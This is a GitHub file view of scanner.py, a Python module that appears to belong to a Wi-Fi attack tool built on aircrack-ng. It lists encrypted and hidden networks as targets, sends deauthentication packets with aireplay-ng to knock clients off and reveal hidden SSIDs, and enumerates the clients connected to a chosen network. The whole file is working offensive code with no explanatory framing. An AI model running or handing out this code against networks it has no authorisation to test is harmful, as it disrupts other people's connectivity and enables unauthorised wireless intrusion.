-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscanner.py
263 lines (229 loc) · 9.01 KB
/
scanner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
import os
import time
import signal
import subprocess
from dataclasses import dataclass
from utils import colored_log
from rich.console import Console
from mac_vendor_lookup import MacLookup # Library to find vendor from MAC addr
# Rich console setup
console = Console()
mac_lookup = MacLookup()
@dataclass
class WiFiNetwork:
id: int
bssid: str
channel: int
power: int # PWR in dBm
essid: str
encryption: str
def __str__(self) -> str:
# Convert PWR (dBm) to percentage (approximation: -100 dBm = 0%, -30 dBm = 100%)
signal_percent = max(
0, min(100, int((self.power + 100) * 1.42857))
) # Linear approximation
# Get vendor name from BSSID
try:
vendor = mac_lookup.lookup(self.bssid)
except Exception:
vendor = "Unknown Vendor"
return f"[bold][{self.id}][/bold] [bright_green]{self.essid}[/bright_green] ([green]{self.bssid}[/green]) - CH:{self.channel} PWR:{signal_percent}% ({self.power} dBm) [yellow]{self.encryption}[/yellow] - [magenta]Vendor: {vendor}[/magenta]"
def scan_networks(self) -> list[WiFiNetwork]:
"""Scan available wifi networks, filtering out open networks and sorting by signal strength"""
if not self.monitor_interface:
colored_log("error", "No monitor mode interface found")
return []
colored_log("info", "Starting WiFi network scan...")
output_file = os.path.join(self.temp_dir, "scan-01.csv")
# Start airodump-ng
proc = subprocess.Popen(
[
"airodump-ng",
"-w",
os.path.join(self.temp_dir, "scan"),
"--output-format",
"csv",
self.monitor_interface,
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
try:
time.sleep(8)
except KeyboardInterrupt:
colored_log("warning", "Scanning stopped by user")
finally:
proc.send_signal(signal.SIGTERM)
proc.wait()
networks = []
# Parse CSV results
if os.path.exists(output_file):
try:
with open(output_file, "r", encoding="utf-8", errors="replace") as f:
lines = f.readlines()
data_section = False
network_id = 0
for line in [l.strip() for l in lines]:
if line.startswith("BSSID"):
data_section = True
continue
if line.startswith("Station MAC"):
break
if data_section and line:
parts = [p.strip() for p in line.split(",")]
if len(parts) >= 14:
essid = parts[13].strip().replace("\x00", "")
encryption = f"{parts[5]} {parts[6]}".strip()
# Skip open networks (OPN)
if "OPN" in encryption.upper():
continue
# Detect hidden SSID (empty or <length: X>) for encrypted networks
if (
not essid or essid.startswith("<length:")
) and "OPN" not in encryption.upper():
essid = "<HIDDEN SSID>"
network_id += 1
try:
networks.append(
WiFiNetwork(
id=network_id,
bssid=parts[0],
channel=int(parts[3]) if parts[3].isdigit() else 0,
power=(
int(parts[8])
if parts[8].lstrip("-").isdigit()
else 0
),
encryption=encryption,
essid=essid,
)
)
except (ValueError, IndexError):
continue
except Exception as e:
colored_log("error", f"Error reading scan results: {e}")
else:
colored_log("error", "Scan results file not found")
# Sort networks by signal strength (descending order)
networks.sort(key=lambda x: x.power, reverse=True)
# Reassign IDs after sorting
for i, network in enumerate(networks, 1):
network.id = i
if networks:
colored_log("success", f"Found {len(networks)} encrypted or hidden networks")
else:
colored_log("warning", "No encrypted or hidden networks detected")
return networks
def decloak_ssid(self, network: WiFiNetwork) -> str | None:
"""Decloak a hidden SSID by capturing probe requests after deauthentication"""
if network.essid != "<HIDDEN SSID>":
return network.essid # No need to decloak if SSID is already known
colored_log("info", f"Attempting to decloak hidden SSID for BSSID {network.bssid}")
output_file = os.path.join(self.temp_dir, "decloak-01.csv")
# Start airodump-ng to capture probe requests
proc = subprocess.Popen(
[
"airodump-ng",
"--bssid",
network.bssid,
"--channel",
str(network.channel),
"-w",
os.path.join(self.temp_dir, "decloak"),
"--output-format",
"csv",
self.monitor_interface,
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
# Send deauth packets to force clients to reconnect
deauth_cmd = [
"aireplay-ng",
"--deauth",
"10", # Send 10 deauth packets
"-a",
network.bssid,
self.monitor_interface,
]
subprocess.Popen(deauth_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
try:
time.sleep(10) # Wait for clients to reconnect and send probe requests
except KeyboardInterrupt:
colored_log("warning", "Decloaking stopped by user")
finally:
proc.send_signal(signal.SIGTERM)
proc.wait()
# Parse CSV to find SSID
if os.path.exists(output_file):
try:
with open(output_file, "r", encoding="utf-8", errors="replace") as f:
lines = f.readlines()
data_section = False
for line in [l.strip() for l in lines]:
if line.startswith("BSSID"):
data_section = True
continue
if line.startswith("Station MAC"):
break
if data_section and line:
parts = [p.strip() for p in line.split(",")]
if len(parts) >= 14 and parts[0] == network.bssid:
essid = parts[13].strip().replace("\x00", "")
if essid and not essid.startswith("<length:"):
colored_log("success", f"Hidden SSID decloaked: {essid}")
return essid
except Exception as e:
colored_log("error", f"Error reading decloak results: {e}")
colored_log("warning", f"Failed to decloak SSID for {network.bssid}")
return None
def detect_connected_clients(self, network: WiFiNetwork) -> list[str]:
"""Detect connected clients to the target network"""
colored_log("info", f"Detecting connected clients for {network.essid}...")
output_file = os.path.join(self.temp_dir, "clients-01.csv")
# Start airodump-ng to detect clients
proc = subprocess.Popen(
[
"airodump-ng",
"--bssid",
network.bssid,
"--channel",
str(network.channel),
"--write",
os.path.join(self.temp_dir, "clients"),
self.monitor_interface,
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
try:
time.sleep(10)
except KeyboardInterrupt:
colored_log("warning", "Client detection stopped by user")
finally:
proc.send_signal(signal.SIGTERM)
proc.wait()
clients = []
# Parse client results
if os.path.exists(output_file):
try:
with open(output_file, "r", encoding="utf-8", errors="replace") as f:
lines = f.readlines()
client_section = False
for line in [l.strip() for l in lines]:
if line.startswith("Station MAC"):
client_section = True
continue
if client_section and line:
parts = [p.strip() for p in line.split(",")]
if len(parts) >= 6 and parts[0].strip():
clients.append(parts[0])
except Exception as e:
colored_log("error", f"Error reading client detection results: {e}")
else:
colored_log("error", "Client detection results file not found")
if clients:
colored_log("success", f"Detected {len(clients)} connected clients")
else:
colored_log("warning", "No connected clients detected")
return clients